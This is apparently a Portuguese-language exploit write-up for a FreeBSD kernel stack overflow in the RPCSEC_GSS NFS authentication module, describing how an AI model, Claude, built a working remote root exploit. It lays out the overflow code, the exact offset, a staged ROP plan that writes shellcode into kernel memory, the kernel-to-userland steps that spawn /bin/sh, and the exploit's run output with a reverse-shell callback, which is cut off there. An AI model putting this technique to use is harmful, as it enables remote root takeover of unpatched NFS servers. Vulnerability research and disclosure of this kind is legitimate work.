____ __     ______       ____   ___ ____   __          _  _____ _  _  ___ 
 / ___/\ \   / / ___|     |___ \ / _ \___ \  \ \        | ||___  | || ||__ \
| |    \ \ / /| |    ___    __) | | | |__) |  \ \   _   | |   / /| || |_  ) |
| |___  \ V /  | |___|___| / __/| |_| / __/    \ \ | |__| |  / / |__   _|/ / 
 \____|  \_/   \____|    |_____|\___/_____|    \_\ \____/  /_/      |_||___|

Índice

• Descrição
• Linha do tempo
• Análise técnica do bug
• Metodologia de exploração
• O exploit em ação
• Setup do ambiente vulnerável
• Mitigação
• Conclusão
• Disclaimer

📋 Descrição

CVE-2026-4747 é uma vulnerabilidade de estouro de buffer na pilha (stack buffer overflow) localizada em kgssapi.ko, o módulo do kernel do FreeBSD que implementa autenticação RPCSEC_GSS para NFS.

A função svc_rpc_gss_validate() copia um credential body controlado pelo atacante para um buffer de 128 bytes na pilha (rpchdr[]) sem verificar o tamanho. Como 32 bytes já estão ocupados por campos do header RPC, restam apenas 96 bytes livres — mas a camada XDR permite credentials de até 400 bytes, resultando em 304 bytes de overflow.

Dados técnicos

📅 Linha do Tempo

26 Mar 2026 ── FreeBSD publica FreeBSD-SA-26:08.rpcsec_gss
               Crédito: "Nicholas Carlini using Claude, Anthropic"

29 Mar 2026 ── 09:45 AM PDT: Solicita-se a Claude desenvolver um exploit
               05:00 PM PDT: Claude entrega shell de root funcional

               Total: ~7h wall clock / ~4h de trabalho real de Claude
               O humano esteve AFK durante grande parte do processo.

🔬 Análise Técnica do Bug

O overflow

/* Em svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128];  /* Buffer na pilha */

/* 32 bytes já consumidos por campos do header RPC */
/* Restam apenas 96 bytes livres                   */

/* XDR permite credentials de até 400 bytes        */
/* 400 - 96 = 304 bytes de overflow → RIP hijack   */
memcpy(rpchdr, credential_body, credential_len);  /* ← BUG: sem verificar tamanho */

Por que é explorável sem mitigações

FreeBSD 14.x não possui:

• KASLR — endereços do kernel fixos e previsíveis
• Stack canaries em arrays de inteiros (int32_t[])

Isso torna o overflow → controle de RIP direto.

Rota de exploração

Atacante (rede)
    │
    │  Ticket Kerberos válido para nfs/target@REALM
    │
    ▼
NFS Server (porta 2049/TCP)
    │
    │  RPCSEC_GSS request com credential_len = 400
    │
    ▼
svc_rpc_gss_validate() ← kernel ring 0
    │
    │  memcpy sem verificar tamanho
    │  [128 bytes buffer + 304 bytes overflow]
    │
    ▼
Stack Smashing → RIP controlado → ROP chain → Shellcode
    │
    ▼
kproc_create() + kern_execve("/bin/sh") → uid=0 reverse shell

⚔️ Metodologia de Exploração

Claude resolveu 6 problemas distintos para ir do advisory ao shell de root:

Passo 0: Setup do laboratório

# VM FreeBSD 14.4-RELEASE com:
# - 2+ CPUs (FreeBSD spawna 8 threads NFS por CPU; o exploit precisa de 15 rodadas)
# - kgssapi.ko carregado
# - NFS ativo na porta 2049
# - MIT Kerberos KDC configurado (necessário para alcançar o código vulnerável)
# - Port forwarding QEMU: host:2049 → guest:2049, host:8888 → guest:88 (KDC)

# Configuração Kerberos crítica no atacante:
# /etc/krb5.conf
[libdefaults]
    rdns = false                        # Sem isso: ticket para nfs/localhost@REALM (incorreto)
    dns_canonicalize_hostname = false   # O servidor rejeita com KRB5KRB_AP_WRONG_PRINC

Passo 1: Estratégia multi-pacote (staged write loop)

O shellcode mede 432 bytes, mas há apenas 200 bytes para a ROP chain por pacote.

Rodada  1:  ROP → pmap_change_prot(BSS, RWX)     ← tornar BSS executável
Rodadas 2-14: ROP → write 32 bytes de shellcode no BSS (4 writes × 8 bytes)
Rodada 15: ROP → write últimos bytes + JUMP para o shellcode

Budget por rodada: 4 writes × 40 bytes = 160 bytes + 24 bytes exit = 184 bytes ✓ (< 200)

Passo 2: Saída limpa de threads

; Cada rodada termina com kthread_exit(0) em vez de retorno normal
; O servidor não crasha — simplesmente perde um thread NFS
; Com 2 CPUs: 16 threads disponíveis → suficiente para 15 rodadas

Passo 3: Offset debugging com De Bruijn

# Sequência De Bruijn → cada substring de 8 bytes é única
# Enviar como credential body → kernel crasha → ler RIP do crash dump
# O disassembly dizia offset 168 → real: 200 bytes
# Diferença: 32 bytes do GSS header que a análise estática não considerou

pattern = cyclic(400)  # De Bruijn de 400 bytes
# Crash dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200

Passo 4: Transição kernel → userland

O shellcode roda em um thread NFS puro de kernel — sem vmspace, sem trapframe.

/* Fase 1 (no shellcode do thread NFS hijackeado): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit();  /* Matar thread NFS limpo */

/* Fase 2 (no novo processo): */
/* 1. Limpar debug registers (bug de hardware - ver Passo 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");

/* 2. Executar /bin/sh */
kern_execve("/bin/sh", args, envp);

/* 3. CRÍTICO: Limpar flag P_KPROC */
/* Sem isso, fork_exit() chama kthread_exit() e mata o processo */
proc->p_flag &= ~P_KPROC;

/* 4. Retornar → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */

Passo 5: Bug de hardware — Debug Registers (DR7)

Sintoma: O processo filho crasha com trap 1 (debug exception) em instrução válida.
Causa: kproc_create/fork1 copia o PCB do pai, herdando os breakpoints do DDB
       que ficaram de crashes anteriores durante o desenvolvimento do exploit.

Fix: Duas instruções antes de kproc_create:
  xor eax, eax
  mov dr7, rax    ← Desabilita todos os hardware breakpoints

🖥️ O Exploit em Ação

$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)